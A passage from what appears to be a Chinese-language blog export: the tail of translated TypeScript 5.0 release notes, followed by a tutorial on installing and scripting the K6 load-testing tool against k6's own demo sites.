Intl.NumberFormat(\u0026#34;en-US\u0026#34;, { maximumFractionDigits, }); value = formatter.format(value); } console.log(value); } 現在，無論我們是在 TypeScript 還是 JavaScript 文件中編寫，TypeScript 都可以讓我們知道我們是否錯誤地調用了我們的函數。\n1 2 3 4 5 6 // all allowed printValue(\u0026#34;hello!\u0026#34;); printValue(123.45); printValue(123.45, 2); printValue(\u0026#34;hello!\u0026#34;, 123); // error! 這個新標籤的實現要歸功於 Tomasz Lenarcik。\n在tsc --build 時可以傳入的新指令 TypeScript 現在允許在 --build 模式下傳遞以下指令：\n--declaration --emitDeclarationOnly --declarationMap --sourceMap --inlineSourceMap 這使得自定義構建的某些部分變得更加容易，您可能有不同的開發和生產構建。\n例如，庫的開發構建可能不需要生成聲明文件，但生產構建需要。項目可以將聲明發射配置為默認關閉，只需使用：\n1 tsc --build -p ./my-project-dir 一旦在內循環中完成迭代，\u0026ldquo;生產\u0026quot;構建就可以傳遞指令 --declaration：\n1 tsc --build -p ./my-project-dir --declaration 有關此更改的更多信息，請參見此處。\n編輯器中不區分大小寫的導入排序 在 Visual Studio 和 VS Code 等編輯器中，TypeScript 支持組織和排序導入和導出的體驗。但是，對於列表何時\u0026quot;排序\u0026rdquo;，通常會有不同的解釋。\n例如，下面的導入列表是否排序？\n1 2 3 4 5 import { Toggle, freeze, toBoolean, } from \u0026#34;./utils\u0026#34;; 答案可能令人驚訝地是\u0026quot;視情況而定\u0026quot;。如果我們不關心區分大小寫，那麼這個列表顯然沒有排序。這封信 f 出現在 t 和之前 T。\n但在大多數編程語言中，排序默認是比較字符串的字節值。JavaScript 比較字符串的方式意味著 \u0026quot;Toggle\u0026quot; 總是在前面 \u0026quot;freeze\u0026quot;，因為根據 ASCII 字符編碼，大寫字母在小寫字母之前。所以從這個角度來看，導入列表是排序的。\nTypeScript 之前考慮對導入列表進行排序，因為它正在進行基本的區分大小寫的排序。對於喜歡不區分大小寫排序的開發人員，或者使用像 ESLint 這樣默認需要不區分大小寫排序的工具的開發人員來說，這可能是一個令人沮喪的地方。\nTypeScript 現在默認檢測區分大小寫。這意味著 TypeScript 和 ESLint 等工具通常不會就如何最好地對導入進行排序而相互\u0026quot;爭吵\u0026quot;。\n我們的團隊也一直在試驗進一步的排序策略，您可以在此處閱讀有關內容。這些選項最終可能由編輯器配置。目前，它們仍然不穩定且處於試驗階段，您現在可以通過使用 typescript.unstableJSON 選項中的條目在VS Code 中選擇加入它們。以下是您可以嘗試的所有選項（設置為默認值）：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 { \u0026#34;typescript.unstable\u0026#34;: { // Should sorting be case-sensitive? Can be: // - true // - false // - \u0026#34;auto\u0026#34; (auto-detect) \u0026#34;organizeImportsIgnoreCase\u0026#34;: \u0026#34;auto\u0026#34;, // Should sorting be \u0026#34;ordinal\u0026#34; and use code points or consider Unicode rules? Can be: // - \u0026#34;ordinal\u0026#34; // - \u0026#34;unicode\u0026#34; \u0026#34;organizeImportsCollation\u0026#34;: \u0026#34;ordinal\u0026#34;, // Under `\u0026#34;organizeImportsCollation\u0026#34;: \u0026#34;unicode\u0026#34;`, // what is the current locale? Can be: // - [any other locale code] // - \u0026#34;auto\u0026#34; (use the editor\u0026#39;s locale) \u0026#34;organizeImportsLocale\u0026#34;: \u0026#34;en\u0026#34;, // Under `\u0026#34;organizeImportsCollation\u0026#34;: \u0026#34;unicode\u0026#34;`, // should upper-case letters or lower-case letters come first? Can be: // - false (locale-specific) // - \u0026#34;upper\u0026#34; // - \u0026#34;lower\u0026#34; \u0026#34;organizeImportsCaseFirst\u0026#34;: false, // Under `\u0026#34;organizeImportsCollation\u0026#34;: \u0026#34;unicode\u0026#34;`, // do runs of numbers get compared numerically (i.e. \u0026#34;a1\u0026#34; \u0026lt; \u0026#34;a2\u0026#34; \u0026lt; \u0026#34;a100\u0026#34;)? Can be: // - true // - false \u0026#34;organizeImportsNumericCollation\u0026#34;: true, // Under `\u0026#34;organizeImportsCollation\u0026#34;: \u0026#34;unicode\u0026#34;`, // do letters with accent marks/diacritics get sorted distinctly // from their \u0026#34;base\u0026#34; letter (i.e. is é different from e)? Can be // - true // - false \u0026#34;organizeImportsAccentCollation\u0026#34;: true }, \u0026#34;javascript.unstable\u0026#34;: { // same options valid here... }, } 您可以閱讀有關自動檢測和指定不區分大小寫的原始工作的更多詳細信息，然後是更廣泛的選項集。\nswitch/case 語法補足 在編寫 switch 語句時，TypeScript 現在會檢測被檢查的值何時具有文字類型。如果是這樣，它將提供一個完成每個未發現的腳手架 case。\n您可以在 GitHub 上查看實施細節。\n速度、內存和包大小優化 TypeScript 5.0 在我們的代碼結構、數據結構和算法實現中包含許多強大的變化。這些都意味著你的整個體驗應該更快，不僅僅是運行 TypeScript，甚至安裝它。\n以下是我們相對於 TypeScript 4.9 在速度和大小方面取得的一些有趣的勝利。\n設想 時間或大小相對於 TS 4.9 material-ui 構建時間 90% TypeScript 編譯器啟動時間 89% 編劇建造時間 88% TypeScript Compiler 自建時間 87% Outlook Web 構建時間 82% VS 代碼構建時間 80% 打字稿 npm 包大小 59% 如何？有一些顯著的改進，我們希望在未來提供更多細節。但我們不會讓您等待那篇博文。\n首先，我們最近將 TypeScript 從命名空間遷移到模塊，使我們能夠利用現代構建工具來執行範圍提升等優化。使用此工具、重新審視我們的打包策略並刪除一些已棄用的代碼，已將 TypeScript 4.9 的 63.8 MB 包大小減少了約 26.4 MB。它還通過直接函數調用為我們帶來了顯著的加速。我們在這裡整理了一份關於我們遷移到模塊的詳細文章。\nTypeScript 還為編譯器中的內部對像類型增加了更多的統一性，並且還精簡了存儲在其中一些對像類型上的數據。這減少了多態操作，同時平衡了因使我們的對象形狀更統一而增加的內存使用量。\n在將信息序列化為字符串時，我們還執行了一些緩存。類型顯示可能作為錯誤報告、聲明發出、代碼完成等的一部分發生，最終可能會相當昂貴。TypeScript 現在緩存了一些常用的機制以在這些操作中重用。\n我們做出的另一個改進解析器的顯著變化是利用 var 偶爾迴避使用 let 和 const 跨閉包的成本。這提高了我們的一些解析性能。\n總的來說，我們預計大多數代碼庫應該會看到 TypeScript 5.0 的速度提升，並且始終能夠重現 10% 到 20% 之間的勝利。當然，這將取決於硬件和代碼庫特性，但我們鼓勵您今天就在您的代碼庫上嘗試一下！\n有關詳細信息，請參閱我們的一些顯著優化：\n遷移到模塊 Node單體化 Symbol單體化 Identifier縮小尺寸 Printer緩存 限制使用var 重大更改和棄用 運行時要求 TypeScript 現在以 ECMAScript 2018 為目標。TypeScript 包還設置了最低預期引擎 12.20。對於 Node 用戶，這意味著 TypeScript 5.0 的最低版本要求至少為 Node.js 12.20 及更高版本。\nlib.d.ts變化 更改 DOM 類型的生成方式可能會對現有代碼產生影響。值得注意的是，某些屬性已從 number 數字文字類型轉換為數字文字類型，並且用於剪切、複製和粘貼事件處理的屬性和方法已跨界面移動。\nAPI 重大變更 在 TypeScript 5.0 中，我們轉向了模塊，刪除了一些不必要的接口，並進行了一些正確性改進。有關更改內容的更多詳細信息，請參閱我們的 API 重大更改頁面。\n關係運算符中禁止的隱式強制轉換 如果您編寫的代碼可能會導致隱式的字符串到數字強制轉換，則 TypeScript 中的某些操作會警告您：\n1 2 3 function func(ns: number | string) { return ns * 4; // Error, possible implicit coercion } 在 5.0 中，這也將應用於關係運算符 \u0026gt;、\u0026lt;、\u0026lt;= 和 \u0026gt;=：\n1 2 3 function func(ns: number | string) { return ns \u0026gt; 4; // Now also an error } 如果需要，要允許這樣做，您可以顯式地將操作數強制為 number using +：\n1 2 3 function func(ns: number | string) { return +ns \u0026gt; 4; // OK } 此正確性改進由 Mateusz Burzyński 提供。\n枚舉大修 enum 自從它的第一個版本以來，TypeScript 就一直存在一些關於 s 的奇怪之處。在 5.0 中，我們正在清理其中的一些問題，並減少理解 enum 您可以聲明的各種 s 所需的概念數。\n作為其中的一部分，您可能會看到兩個主要的新錯誤。首先是將域外文字分配給類型 enum 現在會像人們預期的那樣出錯：\n1 2 3 4 5 6 7 8 enum SomeEvenDigit { Zero = 0, Two = 2, Four = 4 } // Now correctly an error let m: SomeEvenDigit = 1; 另一個是用混合數字和間接字符串枚舉引用聲明值的枚舉會錯誤地創建一個全數字 enum：\n1 2 3 4 5 6 7 8 9 10 enum Letters { A = \u0026#34;a\u0026#34; } enum Numbers { one = 1, two = Letters.A } // Now correctly an error const t: number = Numbers.two; 您可以在相關更改中查看更多詳細信息。\n對構造函數中的參數裝飾器進行更準確的類型檢查 --experimentalDecorators TypeScript 5.0 使 --experimentalDecorators。這一點變得明顯的一個地方是在構造函數參數上使用裝飾器時。\n1 2 3 4 5 6 7 8 9 10 export declare const inject: (entity: any) =\u0026gt; (target: object, key: string | symbol, index?: number) =\u0026gt; void; export class Foo {} export class C { constructor(@inject(Foo) private x: any) { } } 此調用將失敗，因為 key 需要一個 string | symbol，但構造函數參數收到一個鍵 undefined。key 正確的解決方法是更改 within 的類型 inject。如果您使用的是無法升級的庫，一個合理的解決方法是包裝 inject 一個類型更安全的裝飾器函數，並在 key。\n更多詳情，請參閱本期。\n棄用和默認更改 在 TypeScript 5.0 中，我們棄用了以下設置和設置值：\n--target: ES3 --out --noImplicitUseStrict --keyofStringsOnly --suppressExcessPropertyErrors --suppressImplicitAnyIndexErrors --noStrictGenericChecks --charset --importsNotUsedAsValues --preserveValueImports prepend 在項目參考中 在 TypeScript 5.5 之前，這些配置將繼續被允許，屆時它們將被完全刪除，但是，如果您正在使用這些設置，您將收到警告。在 TypeScript 5.0 以及未來版本 5.1、5.2、5.3 和 5.4 中，您可以指定 \u0026quot;ignoreDeprecations\u0026quot;: \u0026quot;5.0\u0026quot; 屏蔽這些警告提示。我們還將很快發布一個4.9 補丁，以允許指定 ignoreDeprecations 以允許更平滑的升級。除了棄用之外，我們還更改了一些設置以更好地改進 TypeScript 中的跨平台行為。\n--newLine，它控制 JavaScript 文件中發出的行尾，如果未指定，過去常常根據當前操作系統進行推斷。我們認為構建應該盡可能具有確定性，並且 Windows 記事本現在支持換行符行結尾，因此新的默認設置是 LF。舊的特定於操作系統的推理行為不再可用。\n--forceConsistentCasingInFileNames，這確保了項目中對同一文件名的所有引用都在大小寫中達成一致，現在默認為 true。這有助於捕獲在不區分大小寫的文件系統上編寫的代碼的差異問題。\n您可以留下反饋並查看有關 5.0 棄用跟踪問題的更多信息。\n下一步是什麼？ 不要操之過急，TypeScript 5.1 已經在開發中了，我們所有的計劃都已經在 GitHub 上了。如果你躍躍欲試，我們鼓勵你嘗試 TypeScript 的每日構建版本或針對 VS Code 的 JavaScript 和 TypeScript Nightly 擴展！\n當然，如果您選擇只享受 TypeScript 的新穩定版，我們也不會感到受傷。我們希望 TypeScript 5.0 讓每個人的編碼更快、更有趣。\nHappy Hacking！\nby Daniel Rosenwasser 和 TypeScript 團隊\n","date":"2023-04-18T00:00:00Z","image":"https://live.staticflickr.com/65535/52826805634_6bd4cfd428_o.jpg","permalink":"https://blog.wayne-project.com/2023-04-18/ts-v5-introduction/","title":"【Typescript】5.0 版本發布"},{"content":" 參考網站\n參考網站\n參考網站\n與老牌工具 JMeter 相比，K6 比較年輕(2017)，架構與設計現代化許多，採用 Go + JavaScript，聽起來就比 Java 年輕有活力。K6 沒有如 JMeter 的華麗友善 GUI，測試細節全靠指令參數與程式碼決定。\nK6 核心以 Go 開發，不用擔心程式效能(依文件說明，K6 靠單一主機便可產生每秒 30 萬次請求)；測試程式則採用 ES6 / JavaScript 語言，讓前端/全端工程師備感親切，進階應用需要對 Module、webpack 有點概念，但單純測試一個 .js 就能搞定，不難上手。官方文件整理得頗詳細，建議花點時間約略讀過再上路，許多東西文件都有寫到，不要瞎查資料胡亂嘗試浪費時間。\n先釐清一點，雖然口語上我們很習慣說「壓力測試」或「壓測」，實際上這些相關測試可再細分成：煙霧測試、負載測試、壓力測試、尖峰測試、浸泡測試，下文會再詳細說明。\n不過，「壓力測試」是比較通俗常用的說法，所以我會繼續統稱壓力測試，有特定目標的測試再特別區分。\n介紹 K6 是用 Go 語言編寫的一種高效能的負載測試工具。具有下面幾個特點：\nK6 嵌入了 JavaScript runtime，可以使用 JavaScript ES2015、ES6 來編寫指令碼。 強大的 CLI 工具。 使用 Checks 和 Thresholds 可以更加輕鬆的做面向目標的自動化的負載測試。 Checks： 類似斷言功能，但不會真的中斷執行，只是會返回 check 的數據百分比。\nThresholds： 極限值、門檻、閾值，指測試系統性能所預期的通過 or 失敗的標準。\n為什麼要用 K6？ 他是用 JavaScript 直接進行負載測試(JavaScript 腳本 ➡️ Go 底層運作)\n這對專注於寫 JavaScript 的人是一大福音！\n以自身公司而言，大多都是 JavaScript 為基底的測試，所以如果團隊中能夠統一一種語言，不管是在測試、開發上，能降地學習成本及提高協做效率。\n如何安裝？ MacOS 記得先安裝 Homebrew\n1 brew install k6 Windows 方法一：使用 chocolatey 安裝(需先安裝 Chocolatey package manager) 1 choco install k6 方法二：使用 winget 安裝 1 winget install k6 Linux Debian/Ubuntu 1 2 3 4 sudo gpg --no-default-keyring --keyring /usr/share/keyrings/k6-archive-keyring.gpg --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys C5AD17C747E3415A3642D57D77C6C491D6AC1D69 echo \u0026#34;deb [signed-by=/usr/share/keyrings/k6-archive-keyring.gpg] https://dl.k6.io/deb stable main\u0026#34; | sudo tee /etc/apt/sources.list.d/k6.list sudo apt-get update sudo apt-get install k6 Fedora/CentOS 1 2 sudo dnf install https://dl.k6.io/rpm/repo.rpm sudo dnf install k6 了解 K6 能做到哪些負載測試 Smoke Testing 煙霧測試 - 驗證系統在最低硬體配備、正常負載下不會出錯 Load Testing 負載測試(Performance Testing 效能測試) - 取得在一般及尖峰負載下的系統效能數字(用戶數、Throughput、吞吐量(RPS)) Stress Testing 壓力測試 - 測試在高度負載或極端條件下系統的穩定性及可靠度，找出系統極限(請勿在 production 測試) Spike Testing 尖峰測試 - 故意製造瞬間流量驟升取得系統效能數字(請勿在 production 測試) Soak Testing 浸泡測試 - 測試系統在長期運作下的穩定性及可靠度 大致上的分類為（低中高流量每間公司定義都不一樣）：\n低流量 中等流量 高流量 Smoke Testing 煙霧測試 Load Testing 負載測試(Performance Testing 效能測試) Stress Testing 壓力測試 Soak Testing 浸泡測試 Spike Testing 尖峰測試 小試身手 在 Windows 安裝很容易，我是用 Chocolatey choco install -y k6 兩分鐘搞定。寫幾行程式存成 script.js，再執行 k6 run script.js 便做能完簡單測試，得到平均回應時間(http_req_duration) 及 Throughput (http_reqs)：\nscript.js 1 2 3 4 5 6 7 8 9 10 11 import http from \u0026#34;k6/http\u0026#34;; import { sleep } from \u0026#34;k6\u0026#34;; export const options = { vus: 1, // user count duration: \u0026#39;1s\u0026#39; }; export default function () { http.get(\u0026#34;https://test.k6.io\u0026#34;); }; 執行指令：\n1 k6 run script.js 參數設定 K6 提供的參數很多，以下主要介紹幾個較常用的為主：\nvus 虛擬用戶的數量，最少必須要 1 個，與 duration 搭配使用。\nduration 指定測試運行的總持續時間，與 vus 一起使用。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 import http from \u0026#39;k6/http\u0026#39;; import { sleep } from \u0026#39;k6\u0026#39;; export const options = { vus: 1, duration: \u0026#39;1s\u0026#39;, }; export default function () { http.get(\u0026#39;https://test.k6.io\u0026#39;); sleep(1); } CLI： 1 k6 run --vus 1 --duration 1s script.js iterations 腳本中的函數被執行的次數。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 12 import http from \u0026#39;k6/http\u0026#39;; import { sleep } from \u0026#39;k6\u0026#39;; export const options = { vus: 10, duration: \u0026#39;5s\u0026#39;, iterations: 50 }; export default function () { http.get(\u0026#39;https://test.k6.io\u0026#39;); sleep(1); } CLI： 1 k6 run --vus 10 --duration 5s --iterations 50 script.js 表示「模擬 10 個用戶，此次腳本最多就是執行 50 次，如果 50 次腳本沒執行完，時間卻到了，那此次測試會顯示 default ✗」。\nStages 可以指定在特定時間內增加或減少用戶數量的執行方式，也就是說可以模仿更精準的測試情境。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import http from \u0026#39;k6/http\u0026#39;; import { sleep } from \u0026#39;k6\u0026#39;; export let options = { stages: [ { duration: \u0026#39;30s\u0026#39;, target: 10 }, { duration: \u0026#39;1m30s\u0026#39;, target: 30 }, { duration: \u0026#39;20s\u0026#39;, target: 0 }, ], }; export default function () { http.get(\u0026#39;https://test.k6.io\u0026#39;); sleep(1); } CLI： 1 k6 run --stage 30s:10, -s 1m30s:30, -s 20s:0 .\\script.js 第一階段就是在 30 秒間逐步把用戶加到 10 個 第二階段就是在一分半內逐步從 10 個用戶追加到 30 個用戶 第三階段是在 20 秒內逐步從 30 個用戶 降到 0 個用戶個用戶 rps 用戶每秒可以發送最大的 request 數量。\n其實就是為了更好模擬用戶流量，再測試前須確認好測試範疇，多數平台應該都是在某些時間點流量會增大，但這個流量增大並非是無上限的增大，一定會落在某個數值，只要將數值取出來後並換算。\ne.g:\n查看數據後，發現這個時段會有 100000 個 request 數量\n那我們要測試的是 60 秒能要達到 100000\n那就是 100000/60 = 1666\n1666 出來後，我們都會多估 10~20% 以防萬一，所以總計大約 2000 即是 rps 的數量\n若要更準確的符合真實數據，也可以以下這樣計算：\n1 2 3 4 5 用戶量 100 vus 執行時間 60s request 條件是 100000 那就是一位 user rps 就是 100000/100/60 = 16 通常 rps 的範疇會多估 10-20% 以防萬一，所以湊個整數 20 就是較符合的數值 sample code： 1 2 3 4 5 6 7 8 9 10 11 12 import http from \u0026#39;k6/http\u0026#39;; import { sleep } from \u0026#39;k6\u0026#39;; export const options = { vus: 100, duration: \u0026#39;60s\u0026#39;, rps: 20 }; export default function () { http.get(\u0026#39;https://test.k6.io\u0026#39;); sleep(1); } group 主要就是將按照功能進行組裝在同一個測試腳本。\n可以針對測試方法做調整，通常在測試 API 時可能是一個行為，但是是會多個 API 連續調用的情況。\n這時候可以使用 group 方法來實現，以下是官網的例子。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 12 import { group } from \u0026#39;k6\u0026#39;; export default function () { group(\u0026#39;user flow: returning user\u0026#39;, function () { group(\u0026#39;visit homepage\u0026#39;, function () { // load homepage resources }); group(\u0026#39;login\u0026#39;, function () { // perform login }); }); } 如上方例子，可以將整個登入流程加入一個群組，測試結果會多一個指標 group_duration，就可方便得知這一個 group 平均執行時間。\n另外，官方也寫到：\nDiscouraged: one group per request\nWrapping each request within a group might add unnecessary boilerplate.\n意味著這個 group 功能不建議僅拿來組裝單一 API，它不是一個像單回傳 api module 般的使用。\n這樣就失去 group 功能真正的涵義了。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import { group, check } from \u0026#39;k6\u0026#39;; import http from \u0026#39;k6/http\u0026#39;; const id = 5; // reconsider this type of code group(\u0026#39;get post\u0026#39;, function () { http.get(`http://example.com/posts/${id}`); }); group(\u0026#39;list posts\u0026#39;, function () { const res = http.get(`http://example.com/posts`); check(res, { \u0026#39;is status 200\u0026#39;: (r) =\u0026gt; r.status === 200, }); }); scenarios 顧名思義，就是測試的情境的參數。\n在做效能測試前，通常都會先擬定好要測試的情境，蒐集真實數據進行評估，再進一步評估預期達到的目標再哪。\n所以可以先將一些常用的測試寫好。只要引用一下，設定一下立刻可以達到我們想要測試的結果。\n只要針對每個情境實作好了一些 Executors，最後只要呼叫它即可。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import http from \u0026#39;k6/http\u0026#39;; export let options = { discardResponseBodies: true, scenarios: { contacts: { executor: \u0026#39;constant-arrival-rate\u0026#39;, rate: 200, // 200 RPS, since timeUnit is the default 1s duration: \u0026#39;1m\u0026#39;, preAllocatedVUs: 50, maxVUs: 100, }, }, }; export default function () { http.get(\u0026#39;https://test.k6.io/contacts.php\u0026#39;); } 使用這個範例，K6 會盡所能在 duration 內去達到 200 RPS。\n所以只要使用這個方法，可以很快找到你 API 的極限瓶頸在哪。\ngroup vs scenarios group： 通常一套業務邏輯且會被重複使用。 scenarios： 純粹一個情境、一個故事，為了要讓單一邏輯或 group 能夠被相互組合應用，需要多種不同的參數，用戶數量(vus)、持續時間(duration)等等，以便達到該情境的預期結果。 常看的指標 Http 系列 http_req_receiving： API 從 server 回應 所花費的時間 http_req_sending： API 發送 到 server 所花費的時間 http_req_waiting： API 從 server 等待回應 所花費的時間 http_req_duration： API 請求的總時間(http_req_sending + http_req_waiting + http_req_receiving) http_req_failed： API 失敗的機率(預設 status code 是 200，若有特別判斷可使用 expectedStatuses) iteration_duration： 該腳本執行一次所花費的時間 http_reqs： 會計算測試總共發了多少 request 上述的參數，主要可以分析整個測試的過程，同時也可以了解該 API 的詳細資料針對響應速度、等待回應時間等等，好讓相關團隊可以進行優化分析。\nhttp_req_receiving、http_req_sending、http_req_waiting 三者關係圖\nChecks 其實就是類似斷言。僅會返回通過(pass)或失敗(fail)\n但這邊的斷言是，不論成功或失敗，腳本皆仍會繼續執行。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 export default function () { const res = http.get(\u0026#39;http://test.k6.io/\u0026#39;); check(res, { \u0026#39;is status 200\u0026#39;: (r) =\u0026gt; r.status === 200, }); } // or export default function () { const res = http.get(\u0026#39;http://test.k6.io/\u0026#39;); check(res, { \u0026#39;is status 200\u0026#39;: (r) =\u0026gt; r.status === 200, \u0026#39;body size is 11,105 bytes\u0026#39;: (r) =\u0026gt; r.body.length == 11105, }); } 但如果要需要特別處理錯誤情境時，可以使用 Thresholds。\nThresholds 強烈建議多參考官方文檔，寫得非常清楚。\n主要是可以為測試的結果自訂一個標準限制，中文稱為門檻值。\n可以針對各個指標限制於某個條件，相對來說會更彈性，測試會更為準確。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 12 import http from \u0026#39;k6/http\u0026#39;; export const options = { thresholds: { http_req_failed: [\u0026#39;rate\u0026lt;0.01\u0026#39;], // http request 失敗的總比例要低於 1% 才能算通過 http_req_duration: [\u0026#39;p(95)\u0026lt;200\u0026#39;], // 95% 的 requests 數回傳時間都要低於 200ms 以內才算通過 }, }; export default function () { http.get(\u0026#39;https://test-api.k6.io/public/crocodiles/1/\u0026#39;); } 其中 http_req_duration 的 p(95) 高於 200ms 了，所以它就會顯示 some thresholds have failed\nThreshold 其實與 Check 有點類似，但差別在於：\nCheck 設定比較單一 且 執行失敗的話，腳本仍會繼續執行，直到腳本結束，才會返回 Check 的數據值。 Threshold 可以彈性設定條件 且 執行失敗的話，它還可以自行設置中斷點，讓執行中腳本達到某條件的話，就直接中斷並且返回錯誤資訊。 aborting sample code(可自行設定中斷點 sample code)： 1 2 3 4 5 6 7 8 9 10 11 export const options = { vus: 30, duration: \u0026#39;2m\u0026#39;, thresholds: { http_req_duration: [{ threshold: \u0026#39;p(90) \u0026lt; 400\u0026#39;, abortOnFail: true }] //90% 的 requests 數回傳時間都要低於 400ms 以內才算通過，只要一旦高於 400ms 就會直接中斷測試 } }; export default function () { http.get(\u0026#39;https://test-api.k6.io/public/crocodiles/1/\u0026#39;); } 其中 http_req_duration 的 p(95) 高於 200ms 了，所以它就會顯示 some thresholds have failed\n常見的套件(module) K6 套件(module) 基本上我覺得很萬用，是足夠支撐所有測試情境的，也主要介紹幾個較常用的 K6 本身支援的 module (JavaScript API)\nhttp 主要是能發送 API，常使用為 get、post、put、delete\u0026hellip;等。\nGET sample code： 1 2 3 4 5 6 7 8 9 import http from \u0026#39;k6/http\u0026#39;; export const options = { vus: 1, duration: \u0026#39;1s\u0026#39;, }; export default function () { http.get(\u0026#39;https://test.k6.io\u0026#39;); } POST sample code： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import http from \u0026#39;k6/http\u0026#39;; const url = \u0026#39;https://httpbin.test.k6.io/post\u0026#39;; const logoBin = open(\u0026#39;./logo.png\u0026#39;, \u0026#39;b\u0026#39;); export default function () { let data = { name: \u0026#39;Bert\u0026#39; }; // Using a JSON string as body let res = http.post(url, JSON.stringify(data), { headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; }, }); console.log(res.json().json.name); // Bert // Using an object as body, the headers will automatically include // \u0026#39;Content-Type: application/x-www-form-urlencoded\u0026#39;. res = http.post(url, data); console.log(res.json().form.name); // Bert // Using a binary array as body. Make sure to open() the file as binary // (with the \u0026#39;b\u0026#39; argument). http.post(url, logoBin, { headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;image/png\u0026#39; } }); // Using an ArrayBuffer as body. Make sure to pass the underlying ArrayBuffer // instance to http.post(), and not the TypedArray view. data = new Uint8Array([104, 101, 108, 108, 111]); http.post(url, data.buffer, { headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;image/png\u0026#39; } }); } html 解析 HTML 各元素，可能會需要取得 HTML 上的一些元素值做一些處理或換算。\nsample code： 1 2 3 4 5 6 7 8 import http from \u0026#39;k6/http\u0026#39;; export default function () { const res = http.get(\u0026#39;https://k6.io\u0026#39;); const doc = parseHTML(res.body); // equivalent to res.html() const pageTitle = doc.find(\u0026#39;head title\u0026#39;).text(); const langAttr = doc.find(\u0026#39;html\u0026#39;).attr(\u0026#39;lang\u0026#39;); } sleep 主要就是等待時間，有些時候使用 sleep 是為了更好模擬使用者情境。\n因為使用者真實操作 web 可能都會遇到有 loading 渲染的時間，所以我們將 sleep 算進來的話就當作是再重現這部分。\nsample code： 1 2 3 4 5 6 7 8 9 10 11 import http from \u0026#39;k6/http\u0026#39;; import { sleep } from \u0026#39;k6\u0026#39;; export const options = { vus: 1, duration: \u0026#39;1s\u0026#39;, }; export default function () { http.get(\u0026#39;https://test.k6.io\u0026#39;); sleep(1); } crypto 這一定也不陌生，非常強大的加密 module ，支援多種不同的加密方式如下：\nhmac md4 md5 sha256 sha384 sha512 通常是為了確保用戶資料安全而特別處理的。e.g. 密碼、API header 等。\nsample code： 1 2 3 4 5 6 7 8 9 import crypto from \u0026#39;k6/crypto\u0026#39;; export default function () { console.log(crypto.sha256(\u0026#39;hello world!\u0026#39;, \u0026#39;hex\u0026#39;)); const hasher = crypto.createHash(\u0026#39;sha256\u0026#39;); hasher.update(\u0026#39;hello \u0026#39;); hasher.update(\u0026#39;world!\u0026#39;); console.log(hasher.digest(\u0026#39;hex\u0026#39;)); } respone： 1 INFO[0000] 7509e5bda0c762d2bac7f90d758b5b2263fa01ccbc542ab5e3df163be08e6ca9 encoding 1 2 3 4 5 6 7 8 9 10 11 12 import { check } from \u0026#39;k6\u0026#39;; import encoding from \u0026#39;k6/encoding\u0026#39;; export default function () { const str = \u0026#39;hello world\u0026#39;; const enc = \u0026#39;aGVsbG8gd29ybGQ=\u0026#39;; const buf = new Uint8Array([104, 101, 108, 108, 111, 32, 119, 111, 114, 108, 100]).buffer; check(null, { \u0026#39;is encoding string correct\u0026#39;: () =\u0026gt; encoding.b64encode(str) === enc, \u0026#39;is encoding ArrayBuffer correct\u0026#39;: () =\u0026gt; encoding.b64encode(buf) === enc, }); } JSlib K6 本身支援蠻多受用的套件，但除此之外，他們還有支援一個是 JSlib 顧名思義就是 JS 庫。\n我覺得可以把它當作是外掛包因為其中還支援的很多額外的 module 可用。\nhttpx： 是將 k6/http 原本套件加以簡化處理，可以當成是優化版的 http k6chaijs： 適用於 BDD 和 TDD 斷言風格 k6chaijs sample code： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import { describe, expect } from \u0026#39;https://jslib.k6.io/k6chaijs/4.3.4.1/index.js\u0026#39;; import http from \u0026#39;k6/http\u0026#39;; export const options = { thresholds: { checks: [{ threshold: \u0026#39;rate == 1.00\u0026#39; }], // fail test on any expect() failure }, }; export default function testSuite() { describe(\u0026#39;Basic API test\u0026#39;, () =\u0026gt; { const response = http.get(\u0026#39;https://test-api.k6.io/public/crocodiles\u0026#39;); expect(response.status, \u0026#39;API status code\u0026#39;).to.equal(200); }); } utils： K6 的小工具包 utils sample code： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import { sleep } from \u0026#39;k6\u0026#39;; import http from \u0026#39;k6/http\u0026#39;; import { randomIntBetween, randomString, randomItem, uuidv4, findBetween, } from \u0026#39;https://jslib.k6.io/k6-utils/1.2.0/index.js\u0026#39;; export default function () { const res = http.post(`https://test-api.k6.io/user/register/`, { first_name: randomItem([\u0026#39;Joe\u0026#39;, \u0026#39;Jane\u0026#39;]), // random name last_name: `Jon${randomString(1, \u0026#39;aeiou\u0026#39;)}s`, //random character from given list username: `user_${randomString(10)}@example.com`, // random email address, password: uuidv4(), // random password in form of uuid }); // find a string between two strings to grab the username: const username = findBetween(res.body, \u0026#39;\u0026#34;username\u0026#34;:\u0026#34;\u0026#39;, \u0026#39;\u0026#34;\u0026#39;); console.log(\u0026#39;username from response: \u0026#39; + username); sleep(randomIntBetween(1, 5)); // sleep between 1 and 5 seconds. } aws： 主要是可以直接串接 AWS 上的 API 服務。 總結 k6 官方提供的文檔其實都非常好懂，甚至都會附上很多程式碼範本讓你直接使用。\n基本上只要會 javascript，你就可能無痛起手了。\n另外 k6 這框架大多使用的情境是以下：\n適用人員 描述 開發人員、SDET 方便我們透過 K6 提供的 api 以及 CLI 工具來使用開發且開發人員同常對 javascript 也不太陌生，他們也能快速使用 javascript 來開發模擬真實場景的負載測試 DevOps、SRE 這兩個職位都是偏運維方面的，我們能把上面 SDET 開發的 script 拿來進行自動化的壓力測試，確保我們的基礎建設與應用服務都還是保持著高性能的表現。在 K6 開發的 script 內，設定 SLO 來測試服務的運行狀況是否達標 QA 